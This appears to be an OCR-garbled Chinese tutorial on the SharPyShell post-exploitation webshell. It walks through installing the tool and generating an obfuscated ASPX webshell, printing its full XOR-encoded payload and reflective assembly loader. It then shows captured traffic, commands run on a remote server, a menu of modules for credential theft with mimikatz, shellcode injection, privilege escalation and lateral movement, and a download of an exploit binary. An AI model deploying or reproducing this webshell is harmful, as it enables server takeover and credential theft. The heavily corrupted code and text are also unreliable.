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1. mEDE
git clone https://github.com/antonioCoco/SharPyShell.git

2. ZERMRH
pip install -r requirements.txt
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root@iZitijeeSyxasrZ: /tmp# git clone git://github.com/antonioCoca/SharPyShell.git
Cloning into 'SharPyShell'...
remote: Enumerating objects: 16, dome.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 251 (delta 5), reused 8 (delta 3), pack-reused 235
Receiving objects: 100% (251/251), 3.85 MiB | 8.00 KiB/s, done.
Resolving deltas: 100% (121/121), done.
Checking connectivity... done.
root@1ZitijeeSyxasrZ: /tmp# cd ShaerShe]]'
root@1ZitijeeSyxasrz: ,tmp,bhaerhhe # python SharPyShell.py
Traceback (most recent call last):
File "SharPyShell.py", llne 4, 1n <module>
from core.SharPyShellPrompt import SharPyShellPrompt
File “,tmp,bharpvbhe1 L/core/SharPyShellPrompt.py", line 12, in <module>
from core.Environment import Environment
File "/tmp/SharPyShell/core/Environment.py", line 1, in <module=
from core.Module import Module, ModuleException
File "/tmp/SharPyShell/core/Module.py", line 1, in <module=

from core.FhannelnES import Channel AES . .
/ChannelAES.py", line 2, in <module>

module named Crypto.Cipher
root@iZitijeeSyxasrZ:/tmp/SharPyShell# pip install -r requirementa
Requirement already satisfied: urllib3 in fusr/local/lib/python2.7/dist-packages (from -r requirements.tx
t (line 1))
Iu]]ectlng PySocks (from -r requlrementa t (line 2))
Downloading ht 1 ackages/a2/4b/52123768624ae28d84c97515dd96c9958888e8c2daf12
2074e31e2be878¢c/PySocks-1.7
Iu]]ectlng pycrypto (from -r requlrementa txt (line 3]]
Downloading http:// mlrror» aliyun. comf' / 6
75d4eaf6f80f163/pycr: 6.1.1a I-lel-B]
100% I_l 450kB 17.1MB/s
Collecting pyopenssl (from -r requirements.txt (line 4))
Downloading htt ' s.aliyun.com/pypi/ acka es/b2/5e/06351ede29Td4899782ad335c2e02117862a887¢20a35
41f17c3talal525/p y2.p) {
1o0% | I 61kB 52. 2MB/s
Iu]]ectlng pefile (from -r requirements.txt (line 5
Downloading http://mirrors.aliyun.com/pypi/
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SharPyShell.py generate -h
python SharPyShell.py generate -p 'betasec'’
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root@1Zit1ijeeSyxasrZ: /tmp/SharPyShell# python SharPyShell.py generate -p 'betasec’
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#sharPyshell v1.2.1 - @splinter _co

SharPyShell webshell written correctly to:| ftmp/SharPyShell/output/sharpyshell.aspx

Upload 1t to the target server and let's start having some fun :)

<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Reflection" %>

<script Language="c#" runat="server">

void Page_Load(object sender, EventArgs e)

{
string p = "c58b9d11b2c9c4725d6521eedcc74f71f120c7bf95e2a0bf8898c229aaf410c4";

string r = Request.Form["data"];

byte[] a = {0x2e,0x6f,0xa8,0x62,0x3a,0x64,0x31,0x31,0x66,0x32,0x63,0x39,0x9c,dxcb,dx37
,0x32,0x8d,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x74,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x
66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38 ,0x38,
0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0xb1l,0x30,0x63,0x34,0x6d,0x2a,0x82 ,0x6
Cc,0x39,0xd0,0x38,0xfc,0x43,0x8a,0x62,0x75,0xae,0x15,0x63,0x5a,0x5c,0x17,0x16,0x45,0x40,0
x5e,0x2,0x17,0x55,0xe,0x43,0x54,0x55,0x8,0x59,0x5e,0x12,0x11,0x50,0x55,0x43,0x45,0x17,0x
8,0x19,0x5c,0xb,0x12,0x25,0x7f ,0x31,0x46,0x55,0x57,0x5d,0x5d,0x4d,0x3f,0x3f,0x33,0x45,0x
61,0x66,0x34,0x31,0x30,0x63,0x34,0x33,0x70,0x38,0x62,0x75,0x65,0x32,0x31,0x%,0x7b,0x38,
0x65,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0xd2,0x31,0x6b,0x44 ,0x3f,0x62 ,0x6b,0x37,0x3
4,0x6cC,0x37,0x31,0x66,0x37,0x32,0x30,0x63,0x37,0x62 ,0x66,0x47 ,0x1c,0x65,0x32,0x61,0x10,0
x62,0x66,0x38,0x78,0x39,0x38,0x63,0x32,0x72,0x39,0x61,0x41,0x66,0x34,0x31,0x32,0x63,0x34
,0x67,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x66,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x
e4,0x36,0x35,0x32,0x33,0x65,0x65,0x34,0x63,0x63,0x37,0x37,0x66,0x77 ,0x34,0x66,0x31,0x22,
0x30,0x63,0x27,0x62,0x66,0x39,0x35,0x75,0x32,0x61,0x20,0x62 ,0x66,0x38 ,0x38 ,0x39,0x38 ,0x7
3,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x53,0x1c,0x38,0x62,0x72,0x64,0
x31,0x31,0x62,0x72,0x63,0x39,0xbb,0x36,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65
,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x51,0x32,0x30,0x6f,0x37,0x62 ,0x66,0x39,0x



35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,
0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x6
3,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x43,0x63,0x37,0x3c,0x66,0
x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x31,0x15,0x65,0x32,0x29,0x30,0x62 ,0x66
,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x4f,0x15,0x3,0x4c,0x45,0x30,0x63,0x34,0xe7,0x3
Cc,0x38,0x62,0x39,0x44,0x31,0x31,0x62,0x38,0x63,0x39,0x63,0x36,0x37,0x32,0x35,0x64,0x36,0
x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x14,0x66,0x37 ,0x51,0x48 ,0x43,0x41,0x42,0x0,
0x37,0x62,0x66,0xel,0x37,0x65,0x32,0x61,0x70,0x62,0x66,0x38,0x3Cc,0x39,0x38,0x63,0x3e,0x3
2,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x79,0x64,0x31,0x71,0
x4c,0x40,0x6,0x55,0xc,0x57,0x37,0x32,0x39,0x64,0x36,0x35,0x32,0x51,0x65,0x65,0x34,0x61,0
x63,0x37,0x34,0x76,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32
,0x21,0x30,0x62,0x24,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x
30,0x63,0x34,0x3,0x1c,0x38,0x62,0x39,0x64,0x31,0x31,0x2a,0x32,0x63,0x39,0x61,0x34,0x32,0
x32,0xd9,0x45,0x36,0x35,0x76,0x36,0x65,0x65,0x35,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66
,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66 ,0x38 ,0x38 ,Ox
39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,
0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x26,0x54,0x30,0x35,0x6,0x31
,0x65,0x65,0x35,0x63,0x63,0x26,0x1c,dx65,0x37,0x31,0x6C,0x35,0x5d,0x34,0x63,0x37,0x68 ,0x
6c,0x3a,0xbb,0xc,0xbf,0x64,0x30,0x62,0x67 ,0x33,0x2e,0x35,0x13,0x70,0x35,0x3a,0x3a,0x69,0
xf0,0x60,0x3c,0x37,0xbe,0xa,0x69,0xf2,0x54,0xea,0xfe,0x31,0x73,0x69,0x3d,0x6a,0x31,0xed,
0x50,0x51,0xd3,0x30,0x18,0x2e,0x54,0x33,0x35,0x4,0x30,0x65,0x65,0x36,0x63,0x63,0x26,0x46
,0x67,0x37,0x31,0x16,0x3b,0x31,0x9,0x4b,0x36,0x62,0x66,0x3a,0x1d,0x60,0x32,0x61,0x3a,dx6
9,0x064,0x3f,0x3c,0x11,0x39,0x63,0x32,0x34,0x35,0x49,0x62,0x66,0x34,0x3b,0x38,0xc,0x32,0x
63,0x35,0x32,0x6f,0x4a,0x63,0x31,0x31,0x68,0x21,0x67 ,0x2d,0x70,0x31,0x44,0x3a,0x35,0x64,
0x3c,0x26,0x34,0x42,0x6C,0x65,0x34,0x69,0x70,0x30,0x25,0x61,0x20,0x5e,0x6C,0x31,0x32,0x3
a,0x72,0x30,0x74,0x9,0x32,0x35,0x65,0x38,0x70,0x37,0xd,0x6a,0x38,0x38,0x33,0x4a,0x60,0x3
2,0x32,0x49,0xe,0x6cC,0x66,0x34,0x3b,0x16,0x72,0x32,0x72,0x32,0x2f ,0xef ,0x33,0x64,0x31,0x
30,0x71,0x3d,0x72,0x36,0x75,0x3d,0x95,0x23,0x3a,0xb,0x38,0x35,0x32,0x3b,0x76,0x60,0x25,0
X066,0xc,0x38,0x34,0x66,0x3d,0x43,0x7f,0x31,0x32,0x40,0xc,0x27 ,0x62 ,0x66,0x33,0x26,0x06d,0
x23,0x69,0x5f,0x73,0x66,0x38,0x32,0x4b,0x9,0x63,0x32,0x42,0x56,0x73,0x61,0x66,0x3e,0x22,
0x39,0x72,0x3d,0x72,0x3d,0x2c,0xd,0x2a,0x64,0x31,0x3b,0x71,0x36,0xbd,0x51,0x70,0x3e,0x26
,0x38,0x5a,0x70,0x36,0x35,0x38,0x43,0x2c,0x65,0x34,0x13,0x4b,0x22 ,0x34,0x66,0x3d,0x22,0x
6d,0x27,0x21,0x3c,0x48,0x19,0x73,0x6d,0x2b,0x39,0x4d,0x24,0x61,0x30,0x68 ,0x14,0x43,0x38,
0x39,0x48,0x72,0x37,0x5d,0x2e,0x61,0x61,0x6C,0x25,0x3d,0x5f,0x7b,0x34,0x63,0x3f,0x57,0x7
6,0x39,0x64,0x3b,0x19,0x7b,0x32,0x63,0x33,0x70,0x3f,0x26,0x3e,0x22,0x3c,0x25,0x39,0x23,0
x3d,0x74,0x60,0x5b,0x74,0x63,0x37,0x3e,0x9,0x2d,0x31,0x66,0x3b,0x0,0xf2,0x4b,0x34,0x62,0
x66,0x33,0x24,0x6e,0x5d,0x65,0x30,0x62,0x6c,0x2b,0x3c,0xe7,0x38,0x61,0x23,0x36,0x4d,0x60
,0x61,0x66,0x2f,0x35,0x18,0x62,0x34,0x63,0x33,0x2b,0x6f,0x28 ,0x69,0x19,0x2a,0x62,0x32,0x
69,0x2a,0x6d,0x25,0x39,0x38,0x33,0x4e,0x36,0x35,0x33,0x21,0x65,0x65,0x34,0x63,0x51,0x37,
0x4a,0xd6,0x37,0x59,0x73,0x31,0x32,0x31,0x7d,0x35,0x4a,0x61,0x39,0x35,0x6f ,0x18,0x23,0x6
3,0x28,0x24,0x39,0x38,0x38,0x38,0x63,0x32,0x32,0x39,0x6d,0x61,0x66,0x34,0x47,0x2 ,0x4d ,0x
4,0x4d,0x0,0x8 ,0x55,0xb,0x53,0x31,0x31,0x62,0x32,0x66,0x39,0xf,0x34,0x37,0x32,0x15,0x66,
0x36,0x35,0x11,0x4f,0x65,0x65,0xb8,0x61,0x63,0x37,0x74,0x65,0x37,0x31,0x45,0x62 ,0x46 ,0x4
2,0xa,0x59,0x5,0x15,0x39,0x35,0x65,0x32,0xad,0x35,0x62,0x66,0xbc,0x38,0x39,0x38,0x40,0x6
7,0x61,0x39,0x31,0x67,0x66,0x34,0x21,0x30,0x63,0x34,0x40,0x72,0x6d,0x2b,0x7d,0x64,0x31,0
x31,0x2,0x34,0x63,0x39,0x87,0x34,0x37,0x32,0x16,0x26,0x5a,0x5a,0x50,0x31,0x65,0x65,0x34,
0x63,0x63,0x37,0x36,0x66,0x37,0x30,0x21,0x24,0x30,0x38 ,0x64d,0x37,0x62 ,0x66,0x39,0xcf,0x6
4,0x1,0x61,0x26,0x62,0x66,0x39,0x38 ,0x39,0x38,0x76,0x32,0x32,0x39,0x63,0x61,0x66,0x34 ,0x
32,0x30,0x63,0x34,0x67 ,0x35,0x38,0x62,0x22,0x64,0x31,0x31,0x60,0x32,0x63,0x39,0x61,0x34,
0x37,0x32,0x34,0x64,0x36,0x35,0x33,0x31,0x65,0x65,0x36,0x63,0x63,0x37,0x34,0x66,0x3d,0x3



1,0x67,0x31,0x32,0x30,0x63,0x37,0x64,0x66,0x3,0x35,0x56,0x32,0x67,0x30,0x15,0x66 ,0x6f ,0x
38,0x3f,0x38,0xf4,0x32,0x65,0x39,0x67,0x61,0x83,0x34,0xe8,0x30,0x65,0x34,0x63,0x34,0xb,0
x62,0x3f,0x64,0x3b,0x30,0x51,0x32,0x69,0x39,0x5d,0x35,0x1a,dx33,0x3f,0x64,0x5f ,0x34,0x63
,0x30,0x6f,0x65,0xf3,0x62,0xcb,0x36,0x32,0x66,0xc2,0x30,0x55,0x31,0x38,0x30,0x9f,0x36,0x
33,0x67,0x33,0x35,0x69,0x30,0x30,0x31,0x64,0x66,0x70,0x3a,dxf,0x3a,0x65,0x32,0x47,0x3b,0
x52,0x61,0x60,0x34,0xb3,0x32,0x55,0x36,0x65,0x35,0xaf ,0x60,0xf,0x66,0x37,0x31,0xdb,0x30,
0x50,0x39,0x69,0x34,0x88,0x30,0x64 ,0x65,0x3c,0x35,0xdd,0x33,0x34,0x64,0x32,0x63,0x6f ,0x3
4,0xcd,0x64,0x31,0x31,0x52,0x32,0x1,0x30,0x63,0x37,0x62,0x66,0x38,0x35,0x65,0x32,0x61,0x
30,0x63,0x66,0x39,0x38,0x38,0x38,0x73,0x32,0x11,0x39,0x61,0x61,0x63,0x34,0x30,0x30,0x62,
0x34,0x33,0x15,0x38,0x62,0x39,0x64,0xb0,0x31,0x23,0x32,0x69,0x39,0x62,0x34,0xa7,0x12,0x3
5,0x64,0x36,0x35,0xb4,0x31,0x28,0x65,0x26,0x63,0x60,0x37,0xd0d,0x47,0x37,0x31,0x66,0x31,0
xb4,0x28,0x32,0x37,0x7a,0x66,0x3c,0x35,0x65,0x32,0x60,0x30,0xa8 ,0x66,0x38,0x38,0x3b,0x38
,0xb3,0x32,0x32,0x39,0x60,0x61,0x63,0x35,0x31,0x30,0x61,0x34,0xb3,0x35,0x29,0x62 ,0x68 ,0x
64,0x2d,0x31,0x7b,0x32,0x32,0x39,0x7b,0x34,0x16,0x32,0xdb ,0x64,0x17,0x35,0x13,0x31,0x92,
0x65,0x12,0x63,0x52,0x37,0x26,0x67 ,0x3,0x31,0x47,0x31,0x11,0x31,0x59,0x37,0x6b,0x66,0x68
,0x35,0x7d,0x32,0x58,0x30,0x33,0x66,0x20,0x38,0x78,0x38,0x32,0x32,0x2a,0x39,0x20,0x61 ,0x
1a,0x35,0x71,0x30,0x22,0x34,0xf2,0x34,0x78,0x62,0x78 ,0x64,0xe9,0x30,0x27 ,0x32,0x2a,0x39,
0x92,0x35,0x7d,0x32,0x6c,0x64,0x2a,0x37,0x7d,0x31,0x4,0x65,0x65,0x61,0x3b,0x37,0x5d,0x66
,0x51,0x33,0x3b,0x31,0x3b,0x30,0x19,0x35,0x0,0x66,0x48 ,0x35,0xe8,0x30,0x6,0x30,0xe3,0x66
,0x9a,0x3a,0x54,0x38,0x6a,0x32,0x9b,0x3b,0x15,0x61,0x37,0x34,0x83,0x32,0x1b,0x34,0xea,dx
35,0x91,0x60,0x4d,0x64,0x50,0x31,0xb5,0x30,0x1d,0x39,0xf2,0x34,0xc7,0x30,0xb6 ,0x064,0x67,
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32,0x5b,0x39,0xe,0x61,0x8,0x34,0x31,0x30,0x63,0x34,0x53,0x35,0x16,0x62,0x9,0x64,0x1f,0x3
1,0x52,0x32,0x4d,0x39,0x53,0x34,0x37,0x32,0x61,0x64,0x2f ,0x35,0x33,0x31,0x2c,0x65,0x5a,0d
X63,0x17,0x37,0x51,0x66,0x45,0x31,0x8,0x31,0x53,0x30,0xf,0x37,0x2c,dx66,0x58,0x35,0x8 ,0x
32,0x4,0x30,0x62,0x66,0x4a,0x38 ,0x4c,0x38,0xd,0x32,0x46,0x39,0x8,0x61,0xb,0x34,0x54 ,0x30
,0x3c,0x34,0x0,0x35,0x57,0x62 ,0x54 ,0x64 ,0x41,0x31,0xb,0x32,0xf,0x39,0x6,0x34,0x45,0x32,0
x6a,0x64,0x4e,0x35,0x5d,0x31,0x17,0x65,0x1a,0x63,0x7,0x37,0x58,0x66,0x5b,0x31,0x66,0x31,
0x32,0x30,0x4b,0x37,0x60,0x66,0x38,0x35,0x29,0x32,0x4,0x30,0x5,0x66,0x59,0x38 ,0x55,0x38,
0x20,0x32,0x5d,0x39,0x11,0x61,0x1f,0x34,0x43,0x30,0xa,0x34,0x4,0x35,0x50,0x62,0x4d,0x64 ,
0x31,0x31,0x42,0x32,0x63,0x39,0x3f,0x34,0x2e,0x32,0x34,0x64,0x79,0x35,0x40,0x31,0xc,0x65
,0x53,0x63,0xa,0x37,0x5a,0x66,0x56,0x31,0xa,0x31,0x74,0x30,0xa,0x37 ,0xe,0x66,0x5c,0x35,0
xb,0x32,0x0,0x30,0xf ,0x66,0x5d,0x38,0x39,0x38,0x11,0x32,0x47,0x39,0xf,0x61,0x12,0x34,0x5
8,0x30,0xe,0x34,0x6,0x35,0x67,0x62 ,0x5a,0x64,0x5e,0x31,0xf,0x32,0x13,0x39,0xa,0x34,0x5b,
0x32,0x50,0x64,0x44,0x35,0x6d,0x31,0x1d,0x65,0x5b,0x63,0x11,0x37,0x1a,0x66,0x53,0x31,0xa
,0x31,0x5e,0x30,0x63,0x37,0x62,0x66,0xd,0x35,0x6d,0x32,0x60,0x30,0x32,0x66,0x4a,0x38,0x5
6,0x38,0x7,0x32,0x47,0x39,0x2,0x61,0x12,0x34,0x67 ,0x30,0x6,0x34,0x11,0x35,0x4b,0x62 ,0x50
,0x64,0x5e,0x31,0xc,0x32,0x63,0x39,0x53,0x34,0x19,0x32,0x5,0x64,0x18,0x35,0x2,0x31,0x4b,
0x65,0x4,0x63,0x63,0x37,0xc,0x66,0x3f,0x31,0x67,0x31,0x73,0x30,0x10,0x37,0x11,0x66,0x5C,
0x35,0x8,0x32,0x3,0x30,0xe,0x66,0x41,0x38,0x19,0x38,0x35,0x32,0x57,0x39,0x13,0x61,0x15,0
x34,0x58,0x30,0xc,0x34,0xd,0x35,0x38,0x62,0x9,0x64,0x1f,0x31,0x52,0x32,0x4d,0x39,0x53,0x
34,0x19,0x32,0x5,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0
x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62 ,0x66 ,0x38
,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35, 0x
38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,
0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x3



7,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62 ,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0
x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62
,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x
63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,
0x61,0x30,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x3
0,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0
x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66
,0x31,0x32,0x30,0x63,0x37,0x62 ,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66 ,0x38 ,0x38 ,0x
39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,
0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x3
1,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0
x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61
,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x15,0x38,0x62,0x35,0x64,0x31,0x31,0xe2 ,0xb,0x6
3,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0
x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30
,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x
34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,
0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x3
2,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,0x38 ,0x39,0x38,0
x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64
,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x
65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,
0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x6
6,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0
x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37 ,0x34 ,0x66
,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62 ,0x
66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,
0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x3
6,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0
x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38 ,0x38,0x39,0x38,0x63,0x32
,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x
31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,
0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x6
5,0x32,0x61,0x30,0x62,0x66,0x38 ,0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0
x31,0x30,0x63,0x34,0x63,0x35,0x38,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34
,0x37,0x32,0x35,0x64,0x36,0x35,0x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x
31,0x66,0x31,0x32,0x30,0x63,0x37,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,
0x38,0x39,0x38,0x63,0x32,0x32,0x39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34,0x63,0x35,0x3
8,0x62,0x39,0x64,0x31,0x31,0x62,0x32,0x63,0x39,0x63,0x34,0x37,0x32,0x35,0x64,0x36,0x35,0
x32,0x31,0x65,0x65,0x34,0x63,0x63,0x37,0x34,0x66,0x37,0x31,0x66,0x31,0x32,0x30,0x63,0x37
,0x62,0x66,0x39,0x35,0x65,0x32,0x61,0x30,0x62,0x66,0x38,0x38,0x39,0x38,0x63,0x32,0x32,0x
39,0x61,0x61,0x66,0x34,0x31,0x30,0x63,0x34};

for(int 1 = @; 1 < a.Length; i++) a[i] A= (byte)p[i % p.Length];

Assembly aS = Assembly.lLoad(a);

object o = aS.CreateInstance("SharPy");

MethodInfo mi = o.GetType().GetMethod("Run™);

object[] iN = new object[] {r, p};

object oU = mi.InvokeCo, iN);

Response.Write(ol);



</script>

Tl13 2.331662 192.168.1.120 192. 168. 1. 108 HTTF POST ftesting/SharFyShell. aspx HITEf1.1

& Hypertext Transfer Protocol
= POST /testing/SharPyShell.aspx HTTP/L.1\r\n
[Expert Info (Chat/Sequence): POST /testing/SharPyShel.aspx HTTP/1.1\r\n]
Request Method: POST
Request URT: [testing/SharPyShel.aspx
Request Version: HTTP/1.1
Host: 192.168.1.108\r\n
Accept-Encoding: identity\rin
Content-Length: 2183\r\n
Content-Type: multipart/form-data; boundary=00f3896963b24794a4cad93b8b2chf722\r\n
User-Agent: Mozila/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0\r\n
\rin
= MIME Multipart Media Encapsulation, Type: mutipart/form-data, Boundary: "00f3896963b24794a4ca93b8b2chf722"
[Type: multipart/form-data]
First boundary: --00f3896963b24794a4ca93b8b2chf722\r\n
& Encapsulated mulipart part:
Content-Disposition: form-data; name="data"\rin\r\n
= Data (2060 bytes)

Data: 6155595945454e454745464652425159456b515652424641....
[Length: 2060]
Last boundary: \r\n—-00f3896963b24794a4ca93b8b2chf722--\r\n

0160 6d 65 3d 22 64 61 74 61 22 0d 0a 0d Oa FINSRIEE
UWIN59 45 45 4e 45 47 4546 46 52 42 51 59 45 6b 51
UEINS6 52 42 46 41 51 56 34 4b 554551 77 54 6b 45
W53 42 67 68 64 45 30 74 6443 31 45 54 59 55 39
WEWR17 54 56 64 56 47 6e 46 37 44 30 49 58 57 77 6f
W45 45 44 46 43 46 6b 78 53 43 55 67 6e 5541 4
ULINES 58 67 77 56 54 46 6b 41 46 77 4d 55 46 67 31
UL{N61 58 78 49 33 54 42 64 46 55 46 38 5a 4d 46 49
WEIN63 46 77 77 34 52 6b 4e 46 52 6b 59 59 46 45 55

Frame (1023 bytes) Reassenbled TCP (2485 bytes)l

SBghdE0t dCIETYUY
GTVdVGnF 7D0IXWwo
EEDFIFkx SCUgnUAB
eXgwVTFk AFwMUFgl
aXxI3TBd FUFSZMFI
cFww4RkN FRKY YFEU

%1% Webshell:

FAERINERDX T Webshell FRILUER » BEFAINAEERIR, BXFER a0 BN ER
R,

MBHESRTE c:\windows\Temp\ R — PRI XA T A LEROXS, STRUZE
THEERAT exit @ BENT = BaIMIFRIX MR XA,

python SharPyShell.py interact -u 'http://free.idcfengye.com:10430/sharpyshell.aspx' -p
"betasec’



! Re-attach L Fullscreen [E] Stayontop §& Duplicate - q Q EY @ ¥ Hidetoolbar Btluse

srZ:/tmp/SharPyShell# python SharPyShell.py interact -u 'http://
-p 'betasec’

#SharPyShell v1.2.1 - @splinter_code

SharPyShellPrompt=
C:\Windows\Temp> whoami
11s apppoolidefaultapppool

PR R IRTINRE

#download Download a file from the server

#exec_cmd Run a cmd.exe /c command on the server

#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the ser
ver

#inject_dll_reflective Inject a reflective DLL in a new (or existing) process

#inject_dl1l_srdi Inject a generic DLL in a new (or existing) process
#inject_shellcode Inject shellcode in a new (or existing) process
#invoke_ps_module Run a psl script on the target server

#invoke_ps_module_as Run a psl script on the target server as a specific user
#lateral_psexec Run psexec binary to move laterally

#lateral_wmi Run builtin WMI command to move laterally

#mimikatz Run an offline version of mimikatz directly in memory
#net_portscan Run a port scan using regular sockets, based (pretty) loosely o
n nmap

#privesc_juicy_potato  Launch InMem Juicy Potato attack trying to impersonate NT AUTHO
RITY\SYSTEM

#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
#runas Run a cmd.exe /c command spawning a new process as a specific u
ser

#runas_ps Run a powershell.exe -enc spawning a new process ds a specific
user

#upload Upload a file to the server

0x05 SharPyShell &R



#tdownload

MRS 28 R HXX

Usage: #download remote_input_path [local_output_path] [chunk_size]

C:\Windows\Temp> #download C:\ProgramData\MS16-032_x64.exe /tmp/MS16-032_x64.exe

